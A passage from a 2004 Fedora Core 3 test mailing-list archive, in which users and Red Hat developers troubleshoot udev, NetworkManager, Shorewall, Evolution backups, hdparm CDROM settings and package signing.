internal wireless card and back. The desktop icon disappears and "service NetworkManger status" reports the service is dead. I restart it and it seems to start fine with "service NetworkManger status" reporting the service alive. However, I can't get the desktop icon back. What's the best way to do that? -- __o _-\<,_ Brian (_)/ (_) bikehead at amberpoint.com x503 From fedora at wir-sind-cool.org Thu Nov 4 13:52:24 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Thu, 4 Nov 2004 14:52:24 +0100 Subject: gcl? In-Reply-To: References: Message-ID: <20041104145224.509b7554.fedora@wir-sind-cool.org> On Thu, 04 Nov 2004 08:17:31 -0500, Neal D. Becker wrote: > Anyone know of a version of gcl that will build on FC3? > > I tried gcl-2.6.5-0.fdr.1.src.rpm, but it fails: > > gcc -c -O2 -g -pipe -m32 -march=i386 -mtune=pentium4 -Wall -DVOL=volatile > -fsigned-char -pipe -O2 -g -pipe -m32 -march=i386 -mtune=pentium4 > -fomit-frame-pointer -I/home/nbecker/RPM/BUILD/gcl-2.6.5/o -I../h > -I../gcl-tk sfasl.c > In file included from sfasl.c:40: > sfaslbfd.c: In function `fasload': > sfaslbfd.c:266: error: structure has no member named `_raw_size' Nothing new. This has been discovered some time ago already. Package request ticket is here: https://bugzilla.fedora.us/show_bug.cgi?id=753 -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.649 loadavg: 1.27 1.14 0.98 From timothy at jupiter.stcl.edu Thu Nov 4 14:09:32 2004 From: timothy at jupiter.stcl.edu (Timothy Sandel) Date: Thu, 04 Nov 2004 08:09:32 -0600 Subject: Backing up Evolution In-Reply-To: <1099541448.4506.21.camel@thomas.camerontech.com> References: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> <1099523701.3323.62.camel@thomas.camerontech.com> <1099524463.3920.22.camel@cassandra.boston.redhat.com> <1099541448.4506.21.camel@thomas.camerontech.com> Message-ID: <1099577372.3339.9.camel@saturn.stcl.edu> On Wed, 2004-11-03 at 22:10 -0600, Thomas Cameron wrote: > On Wed, 2004-11-03 at 18:27 -0500, David Malcolm wrote: > > > > > You should also save the relevant GConf settings, below /apps/evolution > > > > gconftool-2 --dump /apps/evolution > some_file.xml > > > > (this is where your account data and preferences are stored) > So how do you restore the xml info after a reinstall? > I was not aware of this - very cool info, thanks. > -- > A: Because people read from top to bottom. > Q: Why is top-posting bad? > > Thomas Cameron, RHCE, CNE, MCSE, MCT > From P.R.Schaffner at IEEE.org Thu Nov 4 10:25:52 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Thu, 04 Nov 2004 05:25:52 -0500 Subject: FC3 RC5 - Networked LPD server printing still not working. In-Reply-To: <1099462735.3384.11.camel@localhost.localdomain> References: <4182DEF4.3060700@earthlink.net> <41839A45.7010703@earthlink.net> <4183DC49.1080401@earthlink.net> <80d7e40904103012141b508bb0@mail.gmail.com> <4183F00C.5040802@earthlink.net> <1099366696.3775.20.camel@tabb1.tabb> <1099371201.3557.139.camel@localhost.localdomain> <4187B28C.6020703@earthlink.net> <1099457636.3839.18.camel@tabb1.tabb> <1099462735.3384.11.camel@localhost.localdomain> Message-ID: <1099563952.3999.9.camel@tabb1.tabb> On Wed, 2004-11-03 at 00:18 -0600, Rodolfo J. Paiz wrote: > On Tue, 2004-11-02 at 23:53 -0500, Phil Schaffner wrote: > > Well, checked out shorewall and it does indeed seem powerful and > > thoroughly documented, but is overkill for my little home network > > requirements, plus must admit to having gotten used to the Firestarter > > cute GUI - a tough admission from an old command-line guy. > > You are more than welcome to keep Firestarter. No one tool is suitable > for all tasks. However, should you desire to attempt Shorewall, let me > offer (from memory, so not 100% guaranteed!) a quick-quick-start: > > 1. Create a "net" and a "loc" zone in zones file. Probably already > there, not much to do. If not there, format is "net Net Internet" and > "loc Local Local Zone". > > 2. Write "eth0 net" and "eth1 loc" lines in interfaces file. Check that > eth0 is actually your outside interface, adjust to needs. For reference, > since my Internet access (external) interface gets its address via DHCP, > mine actually say: > > net eth0 detect blacklist,dhcp > loc eth1 detect > ... snip ... Very nice guide to augment quickstart docs. Will pass it on to the admin at work, and may help the OP; although looks like he may have the same single-Ethernet setup I have. For a simple end-user firewall to backup in case any bad guys get through the router, will stick with Firestarter, now that it works again. Thanks for being so helpful. Cheers, Phil From thomasz at hostmaster.org Thu Nov 4 14:19:04 2004 From: thomasz at hostmaster.org (Thomas Zehetbauer) Date: Thu, 04 Nov 2004 15:19:04 +0100 Subject: gam_server In-Reply-To: <200411040807.51853.psavoie1783@rogers.com> References: <200411040807.51853.psavoie1783@rogers.com> Message-ID: <1099577944.4069.18.camel@hostmaster.org> Hi, gam_server is part of gamin and provides monitoring for changes in the filesystem. Unfortunately there seems to be a bug leading to a loop being created in gam_server's internal tree causing it to use as much CPU as it can get. From rom my earlier correspondence with Daniel Veillard I think can say that we will not get useful information from strace, what we need to trace this down further is a coredump. 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I guess this should be possible with gdb. -- T h o m a s Z e h e t b a u e r ( TZ251 ) PGP encrypted mail preferred - KeyID 96FFCB89 finger thomasz at hostmaster.org for key Press any key to continue or any other key to quit. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 481 bytes Desc: This is a digitally signed message part URL: From harald at redhat.com Thu Nov 4 14:40:39 2004 From: harald at redhat.com (Harald Hoyer) Date: Thu, 04 Nov 2004 15:40:39 +0100 Subject: Problem with Kernel 667? In-Reply-To: <1099508418.3190.2.camel@nbc-linux.cisco.com> References: <4189287C.5060305@broadpark.no> <1099508418.3190.2.camel@nbc-linux.cisco.com> Message-ID: <418A3F67.9040106@redhat.com> Neil B. Cohen wrote: > I have been running FC3 for a few days - no problems with kernels 639, > 640, 643 etc. I just installed 667 and rebooted, and when it tried to > start KsCD, I was told that /dev/cdrom had the wrong permissions or no > audio CD was in the drive. I was listening to a CD before I rebooted, so > I know it was working. But after the reboot, /dev/cdrom does not exist > at all. Any idea why? What is the 'correct' way to restore that? > > Is this a known issue? Do I need to create a bugzilla entry? > Known problem: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138048 update this: http://people.redhat.com/harald/udev-039-10.FC3.1.i386.rpm -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From darren at dzr-web.com Thu Nov 4 14:41:12 2004 From: darren at dzr-web.com (D. D. Brierton) Date: Thu, 04 Nov 2004 14:41:12 +0000 Subject: Subversion support in Emacs? Message-ID: <1099579272.13149.47.camel@excession.dzr> I haven't had a chance to test out any of the test or RC releases of FC3 yet. I'm also unsure of how patched the version of Emacs is. Does FC3 come with any Emacs support for Subversion out of the box? As subversion now seems to be the FC revision control tool of choice it would be nice if Emacs had support for it as part of the core distribution. I know that Emacs CVS now includes vc-svn.el which is an svn backend for vc, and the version in Emacs CVS seems to be an amalgam or superset of the version of vc-svn.el which was part of Subversion. That would seem to be the ideal candidate for inclusion; perhaps it already is included? There is also psvn.el which is an svn version of pcl-cvs. Whilst searching around I noticed that ALTLinux provide an emacs-subversion RPM (http://rpm.pbone.net/index.php3/stat/4/idpl/1486585/com/emacs-subversion-1.0.9-alt1.i586.rpm.html) which includes psvn.el, vc-svn.el and a site-start.d/subversion.el. Perhaps something like that could be included with future version of FC if that functionality is not already included in either the Emacs or the Subversion RPM. Best, Darren -- ===================================================================== D. D. Brierton darren at dzr-web.com www.dzr-web.com Trying is the first step towards failure (Homer Simpson) ===================================================================== From harald at redhat.com Thu Nov 4 14:44:53 2004 From: harald at redhat.com (Harald Hoyer) Date: Thu, 04 Nov 2004 15:44:53 +0100 Subject: hotplug to insert options like iocharset/codepage for Removable USB HD In-Reply-To: <66c64e1504110323281f9c948f@mail.gmail.com> References: <66c64e1504110320467a34bed0@mail.gmail.com> <66c64e1504110323281f9c948f@mail.gmail.com> Message-ID: <418A4065.5070701@redhat.com> John Lin wrote: > I got a 80GB Removable USB HD and on systems without udev and hotplug, without udev?? > I got /etc/fstab line below: > /udev/sda /mnt/sda auto ^^^^^ without udev??? > iocharset=cp950,codepage=950 0 0 > > With FC3t3, I am trying to get hotplug system to automatically insert > iocharset=cp950,codepage=950 option when device is plugged in. How do > I do that? I am not familiar with hotplug system. Where is the best > place to insert this option? > > Thank you in advanced! > > John > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From harald at redhat.com Thu Nov 4 14:47:17 2004 From: harald at redhat.com (Harald Hoyer) Date: Thu, 04 Nov 2004 15:47:17 +0100 Subject: NetworkManager Issues In-Reply-To: <1099535266.394.11.camel@localhost> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099447511.5027.7.camel@localhost> <77e74f3e041102184647cc916a@mail.gmail.com> <1099460573.4958.12.camel@localhost> <1099494121.9969.13.camel@dcbw.boston.redhat.com> <1099535266.394.11.camel@localhost> Message-ID: <418A40F5.1060405@redhat.com> Jason 'vanRijn' Kasper wrote: > I'll add the below to /etc/modprobe.conf and reboot and retry this.... > > alias net-pf-10 off > alias ipv6 off > I think this does not work... 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When reinstalling, I'm going to have to reenter passwords but no big deal. Yes? Correct? I think I'll file an RFE for Evolution for a "File -> Backup" option. Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From awd at DDG.com Thu Nov 4 15:03:33 2004 From: awd at DDG.com (Andrew W. Donoho) Date: Thu, 4 Nov 2004 09:03:33 -0600 Subject: FC3rc5 In-Reply-To: References: Message-ID: On Oct 29, 2004, at 16:03, Elliot Lee wrote: > This is likely to be the last FC3 release candidate, so please give it > all > the loving attention you possibly can. It does have fixes for some of > the > more serious issues reported here - your efforts are having results. > When > testing FC3rc5, things that could use extra-special attention are > upgrades > and the kernel. Please make sure to file any showstopper bugs (data > loss > or corruption, major install/upgrade failures) in bugzilla and bring > the > bug #'s to our attention. Elliot and other developers, I did discover an upgrade problem that has been resolved with the appropriate engineer, , via Bugzilla, [Bug 137807]. That said, since this was a "dead in the water" upgrade issue involving LVM, I was wondering if you guys are planning on an FC3rc6 release? Andrew ____________________________________ Andrew W. Donoho awd at DDG.com, PGP Key ID: 0x81D0F250 +1 (512) 453-6652 (o), +1 (512) 750-7596 (m) -------------- next part -------------- A non-text attachment was scrubbed... Name: PGP.sig Type: application/pgp-signature Size: 172 bytes Desc: not available URL: From ndbecker2 at verizon.net Thu Nov 4 15:09:51 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Thu, 04 Nov 2004 10:09:51 -0500 Subject: Subversion support in Emacs? References: <1099579272.13149.47.camel@excession.dzr> Message-ID: D. D. Brierton wrote: > I haven't had a chance to test out any of the test or RC releases of FC3 > yet. I'm also unsure of how patched the version of Emacs is. Does FC3 > come with any Emacs support for Subversion out of the box? As subversion > now seems to be the FC revision control tool of choice it would be nice > if Emacs had support for it as part of the core distribution. > > I know that Emacs CVS now includes vc-svn.el which is an svn backend for > vc, and the version in Emacs CVS seems to be an amalgam or superset of > the version of vc-svn.el which was part of Subversion. That would seem > to be the ideal candidate for inclusion; perhaps it already is included? > There is also psvn.el which is an svn version of pcl-cvs. Whilst > searching around I noticed that ALTLinux provide an emacs-subversion RPM > (http://rpm.pbone.net/index.php3/stat/4/idpl/1486585/com/emacs-subversion-1.0.9-alt1.i586.rpm.html) > which includes psvn.el, vc-svn.el and a site-start.d/subversion.el. > Perhaps something like that could be included with future version of FC if > that functionality is not already included in either the Emacs or the > Subversion RPM. > > Best, Darren > psvn.el will work on xemacs. vc-svn will not AFAIK. From jspaleta at gmail.com Thu Nov 4 15:13:46 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Thu, 4 Nov 2004 10:13:46 -0500 Subject: Some issues with Fedora Installation In-Reply-To: <35776.213.164.3.90.1099489900.squirrel@213.164.3.90> References: <0644F050AE3F6D4993F0F135D25F5DC301255178@dk-ex01.thrane.tt.ad> <4188D84D.6070209@earthlink.net> <35776.213.164.3.90.1099489900.squirrel@213.164.3.90> Message-ID: <604aa791041104071319348f51@mail.gmail.com> On Wed, 3 Nov 2004 14:51:40 +0100 (CET), nodata wrote: > He does have a good point though, the website could be easier. > To post to the list, you must create an account. After confirming the > account, the screen you get to has no way to view the list archive. ? I goto http://fedora.redhat.com/participate/communicate/ i click on a link and wham-o! i come directly to a page that lists a link to the archives. No logging in. I goto http://www.redhat.com/mailman/listinfo/ i click on a link and wham-o! I come directly to the same page as before that lists a link to the archives. Even the standard list posting footer that gets added, has an unsubscribe link that goes directly to the same page that lists the archives link. How does a novice community member find the subscribing page without seeing http://www.redhat.com/mailman/listinfo/fedora-test-list and thus the archive link first? -jef From russell at coker.com.au Wed Nov 3 06:32:59 2004 From: russell at coker.com.au (Russell Coker) Date: Wed, 3 Nov 2004 17:32:59 +1100 Subject: Atomic file change checking In-Reply-To: <1099434813.3012.30.camel@localhost.localdomain> References: <418809B1.8060209@gats-inc.com> <1099434813.3012.30.camel@localhost.localdomain> Message-ID: <200411031733.00038.russell@coker.com.au> On Wednesday 03 November 2004 09:33, Aaron Scott wrote: > I have been trauling through kernel change logs looking for information > about changes to NFS in the 2.6 kernel. Does any one know if the 2.6 > kernel does sub second checks for changes to a file that exists on an > nfs share? I have a problem where there are a group of files that are > read several times a second. When replacing the file, some times the > file is read half way through the write and we get a cached copy of only > part of the files. This isn't normally a problem until you need > something like Apache to serve out html then the problem becomes > evident. If you replace the file instead of just changing the existing file then it should work OK. Replacing the file gives a new Inode number and NFS caching is based on Inodes... If for example you use rsync to replace files on your web server (as I do when updating my web pages) for each file a temporary file will be created and then renamed to the correct name. Just writing over an existing file has other issues. If the writer aborts for some reason (process crash, power failure, etc) then you are left with inconsistent data. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From nbc at cisco.com Thu Nov 4 15:15:12 2004 From: nbc at cisco.com (Neil B. Cohen) Date: Thu, 04 Nov 2004 10:15:12 -0500 Subject: Problem with Kernel 667? In-Reply-To: <418A3F67.9040106@redhat.com> References: <4189287C.5060305@broadpark.no> <1099508418.3190.2.camel@nbc-linux.cisco.com> <418A3F67.9040106@redhat.com> Message-ID: <1099581312.3119.0.camel@nbc-linux.cisco.com> On Thu, 2004-11-04 at 15:40 +0100, Harald Hoyer wrote: > Neil B. Cohen wrote: > > I have been running FC3 for a few days - no problems with kernels 639, > > 640, 643 etc. I just installed 667 and rebooted, and when it tried to > > start KsCD, I was told that /dev/cdrom had the wrong permissions or no > > audio CD was in the drive. I was listening to a CD before I rebooted, so > > I know it was working. But after the reboot, /dev/cdrom does not exist > > at all. Any idea why? What is the 'correct' way to restore that? > > > > Is this a known issue? Do I need to create a bugzilla entry? > > > Known problem: > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138048 > > update this: > http://people.redhat.com/harald/udev-039-10.FC3.1.i386.rpm Thanks very much - this fixed the problem... nbc > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From nbc at cisco.com Thu Nov 4 15:27:40 2004 From: nbc at cisco.com (Neil B. Cohen) Date: Thu, 04 Nov 2004 10:27:40 -0500 Subject: Xsane question In-Reply-To: <418A3F67.9040106@redhat.com> References: <4189287C.5060305@broadpark.no> <1099508418.3190.2.camel@nbc-linux.cisco.com> <418A3F67.9040106@redhat.com> Message-ID: <1099582060.3119.4.camel@nbc-linux.cisco.com> I have an HP PSC 2175xi which prints fine, and I was using xsane to scan pictures on Fedora Core 2. I'm currently running the 667 kernel and last night when I tried running xsane it told me it could not find a device. Printing has worked on the FC3 kernels all along - this is the first time I've tried the scanner. Is there anything special I need to do to get the system to locate the scanner? The printer is on a USB port... thanks very much, nbc From david at fubar.dk Thu Nov 4 15:46:06 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 04 Nov 2004 10:46:06 -0500 Subject: hotplug to insert options like iocharset/codepage for Removable USB HD In-Reply-To: <66c64e1504110320467a34bed0@mail.gmail.com> References: <66c64e1504110320467a34bed0@mail.gmail.com> Message-ID: <1099583166.3589.8.camel@davidz> On Thu, 2004-11-04 at 12:46 +0800, John Lin wrote: > I got a 80GB Removable USB HD and on systems without udev and hotplug, > I got /etc/fstab line below: > /udev/sda /mnt/sda auto > iocharset=cp950,codepage=950 0 0 > > With FC3t3, I am trying to get hotplug system to automatically insert > iocharset=cp950,codepage=950 option when device is plugged in. How do > I do that? I am not familiar with hotplug system. Where is the best > place to insert this option? > > Thank you in advanced! > You want to create a file in /usr/share/hal/fdi/95userpolicy with this content (filename needs to end in .fdi; you might want to call it my- usb-harddisk.fdi) true true and replace 4150-3F34 with the UUID of the filesystem on the usb device in question. You may use either lshal or hal-device-manager (from the hal-gnome package) to check what UUID to use. You may also want to check on other properties than the uuid; e.g. perhaps use label. Hope this helps, David From fox3ec208 at wideopenwest.com Thu Nov 4 15:24:28 2004 From: fox3ec208 at wideopenwest.com (Terry Polzin) Date: Thu, 4 Nov 2004 10:24:28 -0500 Subject: latest udev issue Message-ID: <200411041024.28981.fox3ec208@wideopenwest.com> The latest udev update seems to allow only root access to /media/usbdisk. Although a mortal user can mount the device. Even an ls -l to the mounted dev fails for the mortal user. From lux at diesel-research.com Thu Nov 4 15:59:52 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 04 Nov 2004 08:59:52 -0700 Subject: latest udev issue In-Reply-To: <200411041024.28981.fox3ec208@wideopenwest.com> References: <200411041024.28981.fox3ec208@wideopenwest.com> Message-ID: <1099583992.4174.13.camel@localhost.localdomain> Could some of you check your CDROM optimizations with hdparm ? I am wondering if FC3 kernels are optimizing them properly. It might be a udev thing. See/reply to the "k3b: poor CDROM performance... " thread. Sorry for intruding on your thread. On Thu, 2004-11-04 at 10:24 -0500, Terry Polzin wrote: > The latest udev update seems to allow only root access to /media/usbdisk. > Although a mortal user can mount the device. Even an ls -l to the mounted dev > fails for the mortal user. > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 4 16:07:33 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 04 Nov 2004 09:07:33 -0700 Subject: Laptop memory card readers in Linux ? Message-ID: <1099584453.4174.19.camel@localhost.localdomain> Does anyone know how to set up/where to get a driver for the memory card readers on a laptop ? /sbin/lspci: FLASH memory: ENE Technology Inc CB710 Memory Card Reader Controller This is the one that is on a HP ZD7000 laptop. People have emailed ENE, but we haven't heard anything back yet. -- Kim Lux (Mr.) Diesel Research Inc From harald at redhat.com Thu Nov 4 16:08:30 2004 From: harald at redhat.com (Harald Hoyer) Date: Thu, 04 Nov 2004 17:08:30 +0100 Subject: latest udev issue In-Reply-To: <200411041024.28981.fox3ec208@wideopenwest.com> References: <200411041024.28981.fox3ec208@wideopenwest.com> Message-ID: <418A53FE.6060706@redhat.com> Terry Polzin wrote: > The latest udev update seems to allow only root access to /media/usbdisk. > Although a mortal user can mount the device. Even an ls -l to the mounted dev > fails for the mortal user. > Known problem: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138048 update this: http://people.redhat.com/harald/udev-039-10.FC3.1.i386.rpm -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From feliciano.matias at free.fr Thu Nov 4 16:08:41 2004 From: feliciano.matias at free.fr (=?ISO-8859-1?Q?F=E9liciano?= Matias) Date: Thu, 04 Nov 2004 17:08:41 +0100 Subject: latest udev issue In-Reply-To: <200411041024.28981.fox3ec208@wideopenwest.com> References: <200411041024.28981.fox3ec208@wideopenwest.com> Message-ID: <1099584521.28124.0.camel@one.myworld> Le jeudi 04 novembre 2004 ? 10:24 -0500, Terry Polzin a ?crit : > The latest udev update seems to allow only root access to /media/usbdisk. > Although a mortal user can mount the device. Even an ls -l to the mounted dev > fails for the mortal user. > Have you try the latest udev ? : http://people.redhat.com/harald/udev-039-10.FC3.1.i386.rpm http://people.redhat.com/harald/udev-039-10.FC3.1.src.rpm From nbc at cisco.com Thu Nov 4 16:09:14 2004 From: nbc at cisco.com (Neil B. Cohen) Date: Thu, 04 Nov 2004 11:09:14 -0500 Subject: latest udev issue In-Reply-To: <1099583992.4174.13.camel@localhost.localdomain> References: <200411041024.28981.fox3ec208@wideopenwest.com> <1099583992.4174.13.camel@localhost.localdomain> Message-ID: <1099584554.3119.18.camel@nbc-linux.cisco.com> I've not used hdparm - what am I looking for? This is the output of just running the command on my /dev/hdc device: [root at nbc-linux ~]# hdparm /dev/hdc /dev/hdc: HDIO_GET_MULTCOUNT failed: Invalid argument IO_support = 0 (default 16-bit) unmaskirq = 0 (off) using_dma = 1 (on) keepsettings = 0 (off) readonly = 0 (off) readahead = 256 (on) HDIO_GETGEO failed: Invalid argument If there is something specific I should look for, please let me know - Feel free to email me directly (nbc at cisco.com) and save bandwidth on this list... nbc On Thu, 2004-11-04 at 08:59 -0700, Kim Lux wrote: > Could some of you check your CDROM optimizations with hdparm ? I am > wondering if FC3 kernels are optimizing them properly. It might be a > udev thing. See/reply to the "k3b: poor CDROM performance... " thread. > > Sorry for intruding on your thread. > > > On Thu, 2004-11-04 at 10:24 -0500, Terry Polzin wrote: > > The latest udev update seems to allow only root access to /media/usbdisk. > > Although a mortal user can mount the device. Even an ls -l to the mounted dev > > fails for the mortal user. > > > -- > Kim Lux (Mr.) Diesel Research Inc > From lux at diesel-research.com Thu Nov 4 16:11:53 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 04 Nov 2004 09:11:53 -0700 Subject: latest udev issue In-Reply-To: <1099584554.3119.18.camel@nbc-linux.cisco.com> References: <200411041024.28981.fox3ec208@wideopenwest.com> <1099583992.4174.13.camel@localhost.localdomain> <1099584554.3119.18.camel@nbc-linux.cisco.com> Message-ID: <1099584713.4174.21.camel@localhost.localdomain> That is exactly what I was looking for. Your drive isn't optimized. unmaskirq should be enabled and it should use 32 bit support, not 16. Thanks for replying. On Thu, 2004-11-04 at 11:09 -0500, Neil B. Cohen wrote: > I've not used hdparm - what am I looking for? This is the output of just > running the command on my /dev/hdc device: > > [root at nbc-linux ~]# hdparm /dev/hdc > > /dev/hdc: > HDIO_GET_MULTCOUNT failed: Invalid argument > IO_support = 0 (default 16-bit) > unmaskirq = 0 (off) > using_dma = 1 (on) > keepsettings = 0 (off) > readonly = 0 (off) > readahead = 256 (on) > HDIO_GETGEO failed: Invalid argument > > If there is something specific I should look for, please let me know - > Feel free to email me directly (nbc at cisco.com) and save bandwidth on > this list... > > nbc > > On Thu, 2004-11-04 at 08:59 -0700, Kim Lux wrote: > > Could some of you check your CDROM optimizations with hdparm ? I am > > wondering if FC3 kernels are optimizing them properly. It might be a > > udev thing. See/reply to the "k3b: poor CDROM performance... " thread. > > > > Sorry for intruding on your thread. > > > > > > On Thu, 2004-11-04 at 10:24 -0500, Terry Polzin wrote: > > > The latest udev update seems to allow only root access to /media/usbdisk. > > > Although a mortal user can mount the device. Even an ls -l to the mounted dev > > > fails for the mortal user. > > > > > -- > > Kim Lux (Mr.) Diesel Research Inc > > > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 4 16:15:05 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 04 Nov 2004 09:15:05 -0700 Subject: Where is the current yum repository ???? In-Reply-To: <1099584453.4174.19.camel@localhost.localdomain> References: <1099584453.4174.19.camel@localhost.localdomain> Message-ID: <1099584905.4174.24.camel@localhost.localdomain> I am not seeing any new updates in the rawhide yum repositories. Am I missing something ? Is there a new repository ? The last kernel I downloaded was 2.6.9-1.649. -- Kim Lux (Mr.) Diesel Research Inc From bwheadley at earthlink.net Thu Nov 4 16:21:15 2004 From: bwheadley at earthlink.net (Bryan W. Headley) Date: Thu, 04 Nov 2004 10:21:15 -0600 Subject: Laptop memory card readers in Linux ? In-Reply-To: <1099584453.4174.19.camel@localhost.localdomain> References: <1099584453.4174.19.camel@localhost.localdomain> Message-ID: <418A56FB.3010100@earthlink.net> Kim Lux wrote: >Does anyone know how to set up/where to get a driver for the memory card >readers on a laptop ? > > > The ones I have appear as USB devices, and "just works". >This is the one that is on a HP ZD7000 laptop. People have emailed ENE, >but we haven't heard anything back yet. > > > > From nphilipp at redhat.com Thu Nov 4 16:24:36 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 04 Nov 2004 17:24:36 +0100 Subject: Should Fedora rpms be signed? In-Reply-To: <20041104123020.GI7830@devserv.devel.redhat.com> References: <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> <1099338407.25045.116.camel@localhost.localdomain> <1099349930.25045.130.camel@localhost.localdomain> <1099353011.25045.143.camel@localhost.localdomain> <1099564380.6145.42.camel@gibraltar.stuttgart.redhat.com> <20041104123020.GI7830@devserv.devel.redhat.com> Message-ID: <1099585477.6145.61.camel@gibraltar.stuttgart.redhat.com> On Thu, 2004-11-04 at 07:30 -0500, Alan Cox wrote: > On Thu, Nov 04, 2004 at 11:33:00AM +0100, Nils Philippsen wrote: > > Just to overstretch analogies a bit, the "signature" of Fisher-Price on > > a kid's toy isn't different from the "signature" of Heckler&Koch on a > > submachine gun either. Despite that they convey very different messages > > ("when you push the button, the doll cries" vs. "... a whole family > > cries"). > > > > Let's face it, currently a signed package only means "someone/-thing has > > signed off on it" on a technical level, anything else is just what we > > At the technical level but not at the actual human level. At that point > brand comes into it. I don't argue that, but at the human level the Rawhide "brand" tells me something very different than the Fedora or RHEL final "brand". Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From lux at diesel-research.com Thu Nov 4 16:28:00 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 04 Nov 2004 09:28:00 -0700 Subject: CDROM optimizations? Udev ? Message-ID: <1099585680.4973.13.camel@localhost.localdomain> Could I ask some people to run hdparm on their cdroms and report their findings to the list ? ie: $/sbin/hdparm /dev/hdc (typically, some CDROMs might mount elsewhere.) We've found some CDROMs are not optimized to use 32 bit access and with the irq still masked. This might result in poor performance when using them as CD Burners or as a ripping source. Thanks. -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 4 16:32:02 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 04 Nov 2004 09:32:02 -0700 Subject: Laptop memory card readers in Linux ? In-Reply-To: <418A56FB.3010100@earthlink.net> References: <1099584453.4174.19.camel@localhost.localdomain> <418A56FB.3010100@earthlink.net> Message-ID: <1099585922.4973.15.camel@localhost.localdomain> USB storage devices work fine on my laptop too. This is a PCI device. On Thu, 2004-11-04 at 10:21 -0600, Bryan W. Headley wrote: > Kim Lux wrote: > > >Does anyone know how to set up/where to get a driver for the memory card > >readers on a laptop ? > > > > > > > The ones I have appear as USB devices, and "just works". > > >This is the one that is on a HP ZD7000 laptop. People have emailed ENE, > >but we haven't heard anything back yet. > > > > > > > > > -- Kim Lux (Mr.) Diesel Research Inc From mhaney at interactsys.com Thu Nov 4 16:31:57 2004 From: mhaney at interactsys.com (Mark Haney) Date: Thu, 04 Nov 2004 11:31:57 -0500 Subject: CDROM optimizations? Udev ? In-Reply-To: <1099585680.4973.13.camel@localhost.localdomain> References: <1099585680.4973.13.camel@localhost.localdomain> Message-ID: <1099585916.4866.6.camel@marius.asheville.interact> On Thu, 2004-11-04 at 11:28, Kim Lux wrote: > Could I ask some people to run hdparm on their cdroms and report their > findings to the list ? > > ie: $/sbin/hdparm /dev/hdc (typically, some CDROMs might mount > elsewhere.) > > We've found some CDROMs are not optimized to use 32 bit access and with > the irq still masked. This might result in poor performance when using > them as CD Burners or as a ripping source. > > Thanks. > Here's mine, Gateway (Samsung) notebook. /dev/hdc: HDIO_GET_MULTCOUNT failed: Invalid argument IO_support = 0 (default 16-bit) unmaskirq = 0 (off) using_dma = 1 (on) keepsettings = 0 (off) readonly = 0 (off) readahead = 256 (on) HDIO_GETGEO failed: Invalid argument Question is, how do I change those parameters? > > > -- > Kim Lux (Mr.) Diesel Research Inc -------------------------------------- Mark Haney Network Administrator InterAct Public Safety Systems mhaney at interactsys.com Fedora Core release 2 (Tettnang) Kernel: 2.6.8-1.521 GNU/Linux 11:31:09 up 23 min, 2 users, load average: 0.83, 1.06, 0.87 -------------- next part -------------- A non-text attachment was scrubbed... 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This is the DVD-ROM/CD-RW internal combo drive on an IBM Thinkpad T23. Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From lux at diesel-research.com Thu Nov 4 16:38:36 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 04 Nov 2004 09:38:36 -0700 Subject: CDROM optimizations? Udev ? In-Reply-To: <1099585916.4866.6.camel@marius.asheville.interact> References: <1099585680.4973.13.camel@localhost.localdomain> <1099585916.4866.6.camel@marius.asheville.interact> Message-ID: <1099586316.4973.18.camel@localhost.localdomain> Yours isn't optimized either. One can change them manually using hdparm (see man hdparm), but the kernel should set them better than this. Messing around with drive parameters is not something that Joe/Jane Average should have to do. On Thu, 2004-11-04 at 11:31 -0500, Mark Haney wrote: > On Thu, 2004-11-04 at 11:28, Kim Lux wrote: > > Could I ask some people to run hdparm on their cdroms and report their > > findings to the list ? > > > > ie: $/sbin/hdparm /dev/hdc (typically, some CDROMs might mount > > elsewhere.) > > > > We've found some CDROMs are not optimized to use 32 bit access and with > > the irq still masked. This might result in poor performance when using > > them as 